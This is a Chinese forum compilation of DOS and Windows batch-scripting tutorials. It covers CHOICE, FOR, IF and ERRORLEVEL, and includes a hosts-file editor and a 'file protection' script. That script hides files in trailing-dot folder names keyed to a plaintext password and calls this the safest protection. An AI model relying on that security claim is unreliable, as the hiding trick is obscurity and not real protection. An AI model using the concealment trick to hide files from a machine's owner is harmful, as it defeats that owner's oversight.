/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0,就不会有暂停,默认选项 会得到选择。
/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选 项指定的一组选择中; 同时,必须用 /T 指定 nnnn。
/M text 指定提示之前要显示的消息。如果没有指定,工具只 显示提示。
/? 显示帮助消息。
注意: ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选 择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择, 该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的 ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降 序排列。
示例: CHOICE /? CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。" CHOICE /T 10 /C ync /CS /D y CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。" CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"
==== willsort 编注 =============================== 我列出win98下choice的用法帮助, 已资区分
Waits for the user to choose one of a set of choices. 等待用户选择一组待选字符中的一个
CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]
/C[:]choices Specifies allowable keys. Default is YN 指定允许的按键(待选字符), 默认为YN /N Do not display choices and ? at end of prompt string. 不显示提示字符串中的问号和待选字符 /S Treat choice keys as case sensitive. 处理待选字符时大小写敏感 /T[:]c,nn Default choice to c after nn seconds 在 nn 秒后默认选择 c text Prompt string to display 要显示的提示字符串 ERRORLEVEL is set to offset of key user presses in choices. ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值 ====================================
如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。" 屏幕上会显示: 确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?
例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列): @echo off choice /C dme /M "defrag,mem,end" if errorlevel 3 goto end if errorlevel 2 goto mem if errorlevel 1 goto defrag
:defrag c:\dos\defrag goto end
:mem mem goto end
:end echo good bye
此批处理运行后,将显示"defrag,mem,end[D,M,E]?" ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。
四、for 循环命令,只要条件符合,它将多次执行同一命令。
语法: 对一组文件中的每一个文件执行某个特定命令。
FOR %%variable IN (set) DO command [command-parameters]
%%variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。
例如一个批处理文件中有一行: for %%c in (*.bat *.txt) do type %%c
则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。
==== willsort 编注 ===================================================== 需要指出的是, 当()中的字符串并非单个或多个文件名时, 它将单纯被当作字符串替换, 这个特性再加上()中可以嵌入多个字符串的特性, 很明显 for 可以被看作一种遍历型循环. 当然, 在 nt/2000/xp/2003 系列的命令行环境中, for 被赋予了更多的特性, 使之可以分析命令输出或者文件中的字符串, 也有很多开关被用于扩展了文件替换功能. ========================================================================
批处理示例
1. IF-EXIST
1) 首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下: @echo off IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist
然后运行它: C:\>TEST1.BAT
如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。
2) 接着再建立一个test2.bat文件,内容如下: @ECHO OFF IF EXIST \%1 TYPE \%1 IF NOT EXIST \%1 ECHO \%1 does not exist
执行: C:\>TEST2 AUTOEXEC.BAT 该命令运行结果同上。
说明: (1) IF EXIST 是用来测试文件是否存在的,格式为 IF EXIST [路径+文件名] 命令 (2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。
==== willsort 编注 ===================================================== DOS没有 "允许传递9个批参数信息" 的限制, 参数的个数只会受到命令行长度和所调用命令处理能力的限制. 但是, 我们在批处理程序中, 在同一时刻只能同时引用10个参数, 因为 DOS只给出了 %0~%9这十个参数引用符. ========================================================================
3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下: @echo off IF "%1" == "A" ECHO XIAO IF "%2" == "B" ECHO TIAN IF "%3" == "C" ECHO XIN
如果运行: C:\>TEST3 A B C 屏幕上会显示: XIAO TIAN XIN
如果运行: C:\>TEST3 A B 屏幕上会显示 XIAO TIAN
在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。
2、IF-ERRORLEVEL
建立TEST4.BAT,内容如下: @ECHO OFF XCOPY C:\AUTOEXEC.BAT D:\ IF ERRORLEVEL 1 ECHO 文件拷贝失败 IF ERRORLEVEL 0 ECHO 成功拷贝文件
然后执行文件: C:\>TEST4
如果文件拷贝成功,屏幕就会显示"成功拷贝文件",否则就会显示"文件拷贝失败"。
IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。 因此下面的批处理文件是错误的:
@ECHO OFF XCOPY C:\AUTOEXEC.BAT D:\ IF ERRORLEVEL 0 ECHO 成功拷贝文件 IF ERRORLEVEL 1 ECHO 未找到拷贝文件 IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误
无论拷贝是否成功,后面的:
未找到拷贝文件 用户通过ctrl-c中止拷贝操作 预置错误阻止文件拷贝操作 拷贝过程中写盘错误
都将显示出来。
以下就是几个常用命令的返回值及其代表的意义:
backup 0 备份成功 1 未找到备份文件 2 文件共享冲突阻止备份完成 3 用户用ctrl-c中止备份 4 由于致命的错误使备份操作中止
diskcomp 0 盘比较相同 1 盘比较不同 2 用户通过ctrl-c中止比较操作 3 由于致命的错误使比较操作中止 4 预置错误中止比较
diskcopy 0 盘拷贝操作成功 1 非致命盘读/写错 2 用户通过ctrl-c结束拷贝操作 3 因致命的处理错误使盘拷贝中止 4 预置错误阻止拷贝操作
format 0 格式化成功 3 用户通过ctrl-c中止格式化处理 4 因致命的处理错误使格式化中止 5 在提示"proceed with format(y/n)?"下用户键入n结束
xcopy 0 成功拷贝文件 1 未找到拷贝文件 2 用户通过ctrl-c中止拷贝操作 4 预置错误阻止文件拷贝操作 5 拷贝过程中写盘错误
==== willsort 编注 ===================================================== chkdsk 0 未找到错误 255 找到一个或多个错误
choice 0 用户按下ctrl+c/break 1 用户按下第一个键 255 检测到命令行中的错误条件 其它 用户按下的有效字符在列表中的位置
defrag 0 碎片压缩成功 1 出现内部错误 2 磁盘上没有空簇。要运行DEFRAG,至少要有一个空簇 3 用户用Ctrl+C退出了DEFRAG 4 出现一般性错误 5 DEFRAG在读簇时遇到错误 6 DEFRAG在写簇时遇到错误 7 分配空间有错 8 内存错 9 没有足够空间来压缩磁盘碎片
deltree 0 成功地删除一个目录
diskcomp 0 两盘相同 1 发现不同 2 按CTRL+C 终止了比较 3 出现严重错误 4 出现初始化错误
find 0 查找成功且至少找到了一个匹配的字符串 1 查找成功但没找到匹配的字符串 2 查找中出现了错误
keyb 0 键盘定义文件装入成功 1 使用了非法的键盘代码,字符集或语法 2 键盘定义文件坏或未找到 4 键盘、监视器通讯时出错 5 要求的字符集未准备好
move 0 成功地移动了指定的文件 1 发生了错误
msav /N 86 检查到了病毒
replace 0 REPLACE成功地替换或加入了文件 1 MS-DOS版本和REPLACE不兼容 2 REPLACE找不到源文件 3 REPLACE找不到源路径或目标路径 5 不能存取要替换的文件 8 内存不够无法执行REPLACE 11 命令行句法错误
restore 0 RESTORE成功地恢复了文件 1 RESTORE找不到要恢复的文件 3 用户按CTRL+C终止恢复过程 4 RESTORE因错误而终止
scandisk 0 ScanDisk在它检查的驱动器上未检测到任何错误 1 由于命令行的语法不对,不能运行ScanDisk 2 由于内存用尽或发生内部错误,ScanDisk意外终止 3 用户让ScanDisk中途退出 4 进行盘面扫描时,用户决定提前退出 254 ScanDisk找到磁盘故障并已全部校正 255 ScanDisk找到磁盘故障,但未能全部校正
setver 0 SETVER成功地完成了任务 1 用户指定了一个无效的命令开关 2 用户指定了一个非法的文件名 3 没有足够的系统内存来运行命令 4 用户指定了一个非法的版本号格式 5 SETVER在版本表中未找到指定的项 6 SETVER未找到SETVER.EXE文件 7 用户指定了一个非法的驱动器 8 用户指定了太多的命令行参数 9 SETVER检测到丢失了命令行参数 10 在读SETVER.EXE文件时,SETVER检测到发生错误 11 SETVER.EXE文件损坏 12 指定的SETVER.EXE文件不支持版本表 13 版本表中没有足够的空间存放新的项 14 在写SETVER.EXE文件时SETVER检测到发生错误 ========================================================================
3、IF STRING1 == STRING2
建立TEST5.BAT,文件内容如下: @echo off IF "%1" == "A" FORMAT A:
执行: C:\>TEST5 A 屏幕上就出现是否将A:盘格式化的内容。
注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。 如:if [%1]==[A] 或者 if %1*==A*
5、GOTO
建立TEST6.BAT,文件内容如下: @ECHO OFF IF EXIST C:\AUTOEXEC.BAT GOTO _COPY GOTO _DONE :_COPY COPY C:\AUTOEXEC.BAT D:\ :_DONE
注意: (1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。 (2) 标号的命名规则与文件名的命名规则相同。 (3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。
==== willsort 编注 ===================================================== 1)标号也称作标签(label) 2)标签不能以大多数的非字母数字字符开始, 而文件名中则可以使用很多 3)当无法区别两个标签时, 将跳转至位置最靠前的标签 ========================================================================
6、FOR
建立C:\TEST7.BAT,文件内容如下: @ECHO OFF FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
运行: C:\>TEST7
执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件)。
DIY爱好者--好工具自己做之批处理的极限应用(1) 最近无聊开始研究一种很古老的在dos下无处不在的好东西——批处理程序。其实也不能算是一种程序,只是将DOS命令写在一个后缀名为.bat(2k/xp中也可以用.cmd)的文件,可以将预先写入的dos命令一起执行,当时是个超级有用的好东东,可以把很多需要一起来执行的命令简化成一条,还有很多意想不到的功能。不过随着windows这种图形界面的东西出现后,批处理就实在没什么优势了,因为使用起来太不方便,每次用的时候都进入dos界面来运行,任何参数得在dos里跟在程序名后输入,所以很不方便,以至于现在几乎没人用,怀着化废为宝的原则,我开始了对于批处理的研究。最近才猛然发觉,在windows下,批处理又有它所发挥的余地,而且它有了很多新的优势是其他编程语言没法比较的。 1.编写工具:无论是写字扳,word,甚至notepad也可以编写,而且不需要编译,改个后缀名直接就能用了 2.编写简单:因为所有的代码都只是windows内带的命令,没有严格的语法要求,适合像我这种电脑初学者使用,一本dos书就够用了。 3.功能强大;注册表,文件,服务几乎windows的各个方面都可以用批处理来操作;没有做不到,只有想不到! 4.在2k/xp中可以将批处理可交互的界面,不需要进入dos界面费力的输入命令参数,在windows中打开直接就能用了 恩,大概以上的种种优势已经够让人心动了,那么今天先来讲点基本的。 首先教大家学批处理的好方法,在cmd中输入 “命令/?”可以显示这条命令的详细使用方法。例如:输入“copy/?”我们可以得知以下内容:
将一份或多份文件复制到另一个位置。
COPY [/D] [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] source [/A | /B] [+ source [/A | /B] [+ ...]] [destination [/A | /B]]
source 指定要复制的文件。 /A 表示一个 ASCII 文本文件。 /B 表示一个二进位文件。 /D 允许解密要创建的目标文件 destination 为新文件指定目录和/或文件名。 /V 验证新文件写入是否正确。 /N 复制带有非 8dot3 名称的文件时, 尽可能使用短文件名。 /Y 不使用确认是否要改写现有目标文件 的提示。 /-Y 使用确认是否要改写现有目标文件 的提示。 /Z 用可重新启动模式复制已联网的文件。
命令行开关 /Y 可以在 COPYCMD 环境变量中预先设定。 这可能会被命令行上的 /-Y 替代。除非 COPY 命令是在一个批文件脚本中执行的,默认值应为 在改写时进行提示。
要附加文件,请为目标指定一个文件,为源指定 数个文件(用通配符或 file1+file2+file3 格式)。
呵呵,很详细吧。恩,先介绍点dos下基础的东西。 首先给个原代码先(很基础的,一个可以修改本机网站地址和静态ip地址的绑定):
@echo off color 0b setlocal title HostsHack v1.0 rem Written by Kakashi rem Feb 16th, 2006 echo =================================================== echo HostsHack v1.1 echo. echo. echo 注:修改hosts文件可以达到屏蔽某些网站的功能 echo 版权没有,欢迎盗版! echo =================================================== echo. :start echo 现在开始分析%systemroot%\system32\drivers\etc下系统原有hosts文件....... echo 你现在拥有的ip绑定有: echo. echo ********************************************************* more +18 < %systemroot%\system32\drivers\etc\hosts echo ********************************************************* echo. echo. echo ====准备加入新的ip绑定====== :startweb echo 请输入新的网站地址: set /p website= if {%website%}=={} goto startweb :startip echo 请输入绑定的ip: set /p ip= if {%ip%}=={} goto startip echo 开始写入hosts文件.............. echo %ip% %website% >>%systemroot%\system32\drivers\etc\hosts echo 完成! ping 127.0.0.1 -n 3 >nul cls goto start
好了,是不是看得有点头晕呢,不怕,慢慢来,一行一行解释: @echo off 这句的意思是将echo关闭,也就是让批处理什么都不显示,而前加个"@"符号表示连echo off这句命令也不显示,一开始就关闭批处理的显示有很多好处:一方面可以让程序美观简洁,二来可以控制程序显示数据,把需要的数据用命令显示在桌面上让用户能看到,不至于被满屏幕的东西吓倒。 color 这条命令是用来控制批处理的美观的,格式如下: color bf (b是背景颜色,f是前台(字体)颜色) 0 = 黑色 8 = 灰色 1 = 蓝色 9 = 淡蓝色 2 = 绿色 a = 淡绿色 3 = 浅绿色 b = 淡浅绿色 4 = 红色 c = 淡红色 5 = 紫色 d = 淡紫色 大家可以根据自己的喜好修改(本人推荐: color 0b) title:这条命令的作用就是修改标题栏的文字,美观而已。 使用格式 title “任何你喜欢的文字” rem:表示解释说明,以rem 开头的这一行都算作解释,不会被程序执行。 echo “文字”:负责显示数据,比方说"@echo 你好"这条命令运行后屏幕上就会出现“你好”二字。而"echo."表示输出一个回车,也就是空一行。 开始进入重点了: :start 这个命令表示建立一个名字为start的跳转点,前面的冒号说明这个start是个跳转点,以后程序只要用个goto start程序就跳回来了。 下面这里大家跳过几行,能看到这样一句代码“echo 现在开始分析 %systemroot%\system32\drivers\etc下系统原有hosts文件.......” %systemroot%表示的是一个名字为systemroot变量,它所带的值就是windows系统目录的路径,这是个系统变量,大家可以在cmd中输入set查询所有变量。 好接着看了 more +18 < %systemroot%\system32\drivers\etc\hosts :这段代码比较复杂,首先"<"这个符号表示重定向,将最后的那个hosts文件交给more这个命令来处理,然后more+18表示将hosts这个文件从第18行开始显示,就是略过前18行的内容(那些内容大家可以自己去看,是windows的说明内容) 开始进入交互部分了:这段代码当作公式来记忆: set /p website= if {%website%}=={} goto startweb set /p website= :表示将用户的输入来作为website的值,而交互部分必须要检测用户输入的值是不是不存在,否则程序要错误,所以要是错误的话返回程序重新输入 最后个重点是将用户输入两个值,再加入到文件后面">>"表示追加,“>”表示重新写,会删除原来的内容,然后echo 两个变量显示到屏幕上,现在加个重定向到文件,就追加到原来的文件咯,最后那个ping 127.0.0.1 -n 3就是表示要延时3秒,加个>nul,nul表示没有,重定向到没有就是不显示的意思咯。 终于把程序的大致内容讲了一遍,有兴趣的话,大家可以自己来学习一下,看不懂的朋友可以直接将程序代码复制下来,写成bat文件自己先看看。大家也可以发挥想象自己来写点东西分享下,我也乐意将自己的新作品分享个大家。
######################################################################## ########################################################################
DIY爱好者--好工具自己做之批处理的极限应用(2) 昨天的那个批处理只是大致介绍了一些批处理的基本运用:@echo off, 重定向等等只是点,可能刚开始看有点累,多看多实践就好了。推荐一个学习方法:将部分关键代码删除,看看程序会出现什么错误,然后就能比较快地理解程序运行的原理。好了今天就先给出一个新的代码(比较头大的,我也整了好久了,才憋出这个程序,做梦的时候都在想,但还是可能会有点问题,所以这只是个测试版本,大家如果发先程序有问题的话请跟贴告诉我,这个测试2版本是我目前为止未发现BUG的版本,但没办法保证有什么我没想到的问题,所以欢迎大家指出^^) 注意:下面的测试版本可能无法在英文版的xp上运行,我的测试环境:简体中文xp+sp2环境下测试通过!不过由于程序的工作原理涉及windows的bug,所以我不能保证能100%能使用,不过我电脑是属于主流配置,而且补丁也打得很勤快,所以我想大多数用户还是能够使用的,如果有不能用的话,请告诉我你的电脑的配置情况。
==========================代码开始=================================
@echo off rem Written by heroest rem Feb 17th,2006 setlocal color 0b echo ======================================================== echo. echo Windows文件保护专家 测试版2 echo. echo. echo 说明:本程序可以有效的保护重要的文件不被删除或泄露。 echo 版权没有,欢迎盗版! echo ========================================================= :start echo. echo 建立文件保护文件夹 c:\FileLocker if not exist c:\FileLocker..\nul md c:\FileLocker..\ echo 欢迎使用windwos保护专家 v1.0,请选择选项(1,2,3,q); echo 1.读取加密的文档 echo 2.存储保密文档 echo 3.建立秘密存储文档 echo q.推出 set /p choice= if {%choice%}=={} goto start if /i %choice%==1 goto djm if /i %choice%==2 goto cjm if /i %choice%==3 goto jjm if /i %choice%==q goto quit goto start rem========================加入秘密文件夹========================== :jjm echo. echo 请输入密码: set /p pass2c= if {%pass2c%}=={} goto jjm echo 开始根据密码建立保密文件夹...... md "c:\FileLocker..\%pass2c%..\" echo 成功建立了保护文件夹! echo. goto start rem=======================“加入”部分结束========================= rem rem======================存储数据部分============================== :cjm echo. echo 请输入密码: set /p pass= if {%pass%}=={} goto cjm if exist c:\FileLocker..\%pass%..\nul goto noerror echo 发生错误,未发现已建立加密保护文件夹! goto start :noerror md "%userprofile%\桌面\Ready2Lock" echo 请将你需要保护的文件复制到桌面上的Ready2Lock文件夹内(被保存的文件不能含有文件夹) echo 将文件放入Ready2Lock后按任意键开始保护文件....... pause > nul echo 开始保护到C:\FileLocker文件夹内......... copy "%userprofile%\桌面\Ready2Lock\*.*" "c:\FileLocker..\%pass%..\" echo 保护完成,删除原文件........ del "%userprofile%\桌面\Ready2Lock\*.*" rd "%userprofile%\桌面\Ready2Lock" echo 所有保护完成! ping 127.0.0.1 -n 3 >nul cls goto start rem ==========================存储部分结束======================= rem rem===========================读取数据部分======================= :djm echo. echo 请输入密码: set /p pass2= if {%pass2%}=={} goto djm if not exist c:\FileLocker..\%pass2%..\nul echo 发生错误或不存在保护文档 & goto djm echo 开始读取被保护的数据....... md "%userprofile%\桌面\Unlocked" copy "c:\FileLocker..\%pass2%..\*.*" "%userprofile%\桌面\Unlocked" echo 已经解密到桌面上的Unlocked文件夹内......... ping 127.0.0.1 -n 3 >nul goto start rem ========================结束============================= rem =========================退出============================ :quit echo 感谢使用Windows文件保护专家 v1.0! echo 按任意键退出本程序. pause > nul exit
===========================代码结束=============================
好了,现在穿插点小内容,有关这个程序的思路:大家都知道"\"这个符号在windows中是用来表示路径的分隔符,如:"c:\windows"就表示c盘下的windows文件夹。那么大家想过没有,如果一个文件夹的名字里包含这个符号,那会怎么样呢?系统会出错,所以在windows下建立的文件夹是没办法带有"\",但是在CMD里用MD命令建立文件夹是没任何限制的,所以假设我们想在c盘下建立个特殊的文件夹,比方说:md c:\windows..\注意得在"\"前加两个".",回到windows中,会发现c盘里有个显示名字为"windows."的文件夹,但是打开之后却会跳入c:\windows的系统目录里(如果windows不存在的话,电脑就会显示没办法找到文件夹)。所以我们的文件放这里面是最安全的。但是我们该怎么放进去呢?还得回到dos下,使用copy命令复制进去: “copy c:\test.txt c:\windows..\”就完成了。但是随之又有个问题,别人只要用一个"copy c:\windows..\*.* c:\"就可以把这个文件夹内的东西都复制出来了。所以我们的程序为了防止这一点,根据用户输入的密码在这个特殊文件夹内再建立个文件夹,文件夹的名字就是根据用户的密码所生成的,所以偷窃者想偷文件的话除非知道这个根据用户密码所生成的特殊文件夹的名字才能使用copy命令复制出来,否则dir,del,move等命令都是没办法威胁到被保护的文件。唯一能威胁到文件的方法,目前为止我能想到的也只有格式化硬盘了(只是我个人意见,也许还有别的方法我不知道,所以如果大家发现别的方法请务必告诉我,我好改进程序性能) 好了,大家都知道基本原理了,现在开始对程序的代码进行分析。 开头的一些什么title,color等命令昨天已经说过了,今天就不重复了,如果不会的朋友可以查看本系列的第一篇文章。 好了先出现第一句新命令是if 开头的那一句,if exist.......do.....表示一旦存在某个文件(要有详细路径),do表示任意一个命令,if还有很多用法,想了解的朋友大家可以在dos输入"if/?"查询所有用法,这一句是判断是否存在FileLocker..\这个特殊文件夹,但是if exist只判断文件的存在否,不判断文件夹,所以我们在FileLocker..\这个文件夹后加个nul,就能让if exist这个命令来判断是否存在文件夹了。后面接着的代码就是昨天说的能获取用户输入的代码。然后今天又加了点代码是对用户输入的不同数据进行判断来进行不同的动作,就是使用goto命令跳到每个动作的代码。“if /i a===b ”这是if命令的另一个用法:对于数据的判断,当满足2个数据一样时执行一条dos命令。进入动作的代码了,首先是加入文件夹这个动作,原理其实很简单:获取用户输入的密码,将密码的数据当作秘密文件夹的名字,然后为了安全起见,我在FileLocker..\这个文件夹里又根据用户密码建立了个特殊文件夹,就是密码后面加上"..\"再次建立特殊文件夹,彻底保护文件。 “文件夹建立”这个动作完成后来到“存储数据这个部分”,首先得先判断用户的密码对不对,判断的方法就是检测是否存在那个根据密码建立的文件夹,如果不存在也就说明密码不对,得重新输入。而后密码通过验证后就是将数据复制的过程,为了方便起见,我让程序在用户的桌面上建立了个名为Ready2Lock的临时文件夹,方便用户将需要保存的文件放入,但是鄙人天生比较愚笨,就是没办法将一个文件夹整个保护到特殊文件夹内,用户在往Ready2Lock里放文件的时候注意别将文件夹也放进去。然后用户放完之后按任意键后,程序自动开始保护文件,然后会删除桌面上的源文件,做完这一切,整个保护就完成了。最后进入读取数据部分,还是得先判断用户的密码,如果密码正确,程序才能正确地取出文件,否则就会失败。然后为了方便用户,程序在桌面上建立个名为Unlock的文件夹,解密出来的文件就会放在这里。呵呵,整个程序的代码就过了一遍了,大家是不是喜欢上了批处理了,^^
最后说点东西;本系列批处理的教程将分为3部分,分别为初级,中级和综合,所以下次的教程的程序将会十分庞大,可以透露点,下次的程序是自己用批处理写的windows优化大师(不知道是不是涉及版权问题^^),不过工作量相当的大,我现在目前还处于寻找资料和研究windows优化大师的工作原理过程中,所以估计得过一个相当长的时间才能推出最终内容,希望大家能够谅解。不过以后的时间我会时不时地提供些小程序,有可能就是windows优化大师的部分功能测试代码,希望大家能够喜欢,并帮忙测试,我在此先谢过了。
######################################################################## ########################################################################
DIY爱好者-Windows文件保护专家 v1.0正式版 在发布正式版之前,先说几句: 首先感谢帮助我最大的朋友“猜猜鸟”,感谢你提供了很有用处的方法,现在终于可以完善这个工具。还有感谢“江山”提供了不少参考意见和信息,没有他们的帮助也就没有这个工具的今天。最后感谢那些一直支持我的朋友们,没有你们的支持,小弟也不敢拿出自己的作品也大家分享,谢谢支持^^
@echo off rem Written by heroest rem Feb 17th,2006 setlocal color 0b echo =============================================================== echo. echo Windows文件保护专家 v1.0 echo. echo. echo 说明:本程序可以有效的保护重要的文件不被删除或泄露。 echo 加入了删除文档的代码,可以删除那些被保护的文档 echo 版权没有,欢迎盗版! echo =============================================================== :start echo. echo 建立文件保护文件夹 c:\FileLocker if not exist c:\FileLocker..\nul md c:\FileLocker..\ echo 欢迎使用windwos保护专家 v1.0,请选择选项(1,2,3,4,5,q); echo 1.读取加密的文档 echo 2.存储保密文档 echo 3.建立秘密存储文档 echo 4.删除保密文档 echo 5.删除FileLocker echo q.推出 echo. set /p choice= if {%choice%}=={} goto start if /i %choice%==1 goto djm if /i %choice%==2 goto cjm if /i %choice%==3 goto jjm if /i %choice%==4 goto sjm if /i %choice%==5 goto df if /i %choice%==q goto quit goto start rem========================加入秘密文件夹========================== :jjm echo. echo 准备建立秘密文件夹... echo 请输入密码: set /p pass2c= if {%pass2c%}=={} goto jjm echo 开始根据密码建立保密文件夹...... md "c:\FileLocker..\%pass2c%..\" echo 建立了保护文件夹! echo. goto start rem ======================“加入”部分结束========================= rem rem =====================存储数据部分============================== :cjm echo. echo 准备存储保密档案... echo 请输入密码: set /p pass= if {%pass%}=={} goto cjm if exist c:\FileLocker..\%pass%..\nul goto noerror echo 发生错误,未发现建立加密保护文件夹! goto start :noerror md "%userprofile%\桌面\Ready2Lock" echo 请将你需要保护的文件复制到桌面上的Ready2Lock文件夹内(被保存的文件不能含有文件夹) echo 注意:开始保护后会删除原文件! echo 按任意键开始保护文件....... pause > nul echo 开始保护到C:\FileLocker文件夹内......... copy "%userprofile%\桌面\Ready2Lock\*.*" "c:\FileLocker..\%pass%..\" echo 保护完成,删除原文件........ del "%userprofile%\桌面\Ready2Lock\*.*" /Q rd "%userprofile%\桌面\Ready2Lock" echo 所有保护完成! ping 127.0.0.1 -n 3 >nul cls goto start rem ==========================存储部分结束======================= rem rem ===========================读取数据部分====================== :djm echo. echo 准备读取保密文件... echo 请输入密码: set /p pass2= if {%pass2%}=={} goto djm if not exist c:\FileLocker..\%pass2%..\nul echo 发生错误或不存在保护文档 & goto djm echo 开始读取被保护的数据....... if not exist "%userprofile%\桌面\Unlocked\nul" md "%userprofile%\桌面\Unlocked" copy "c:\FileLocker..\%pass2%..\*.*" "%userprofile%\桌面\Unlocked" echo 已经解密到桌面上的Unlocked文件夹内......... ping 127.0.0.1 -n 3 >nul goto start rem ========================读取数据部分结束======================= rem rem ========================删除目录部分=========================== rem 此部分特别感谢"猜猜鸟"教会了我新的知识,谢谢了! rem 感谢"江山"的提供了宝贵的意见 rem 也感谢支持我的朋友们,没有你们的鼓励,小弟也不敢斗胆发表自己的作品 :sjm echo. echo. echo 准备删除秘密文档....... echo 请输入密码: set /p pass2del= if {%pass2del%}=={} goto sjm echo 开始删除被保护文件夹 rmdir /s "c:\FileLocker..\%pass2del%..\" /Q echo 已经删除被保护文件....... goto start rem ============================删除部分结束====================== rem rem ===================Del FileLocker============================== :df echo. echo 请删除之前确认FileLocker里面没有任何秘密文档.(y/n) set /p yesorno= if /i %yesorno%==y goto start2del if /i %yesorno%==n goto sjm goto df :start2del echo 开始删除FileLocker.......... rd "c:\FileLocker..\" >nul if exist c:\FileLocker..\nul echo **删除失败,可能FileLocker里有别的秘密文档。**& goto fail echo 成功删除! :fail ping 127.0.0.1 -n 3 >nul goto start rem ================Del Filelocker End==================== :quit echo 感谢使用Windows文件保护专家 v1.0! echo 按任意键退出本程序. pause > nul exit
Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在Win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 早在Dos和Win3.x的时代,大部分的应用程序都是采用了 ini 文件(初始化文件)来保存一些配置信息,如设置路径,环境变量等。system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢?
注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东。注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。利用一个功能强大的注册表数据库来统一集中地管理系统硬件设施,软件配置等信息,从而方便了管理,增强了系统的稳定性。最直观的一个实例就是,为什么windows下的不同用户可以拥有各自的个性化设置,如不同的墙纸,不同的桌面。这就是通过注册表来实现的。
由此可见,注册表(Registry)是Windows9x/Me/NT/2000操作系统、硬件设备以及客户应用程序得以正常运行和保存设置的核心“数据库”;是一个巨大的树状分层的数据库。它记录了用户安装在机器上的软件和每个程序的相互关联关系;它包含了计算机的硬件配置,包括自动配置的即插即用的设备和已有的各种设备说明、状态属性以及各种状态信息和数据等。
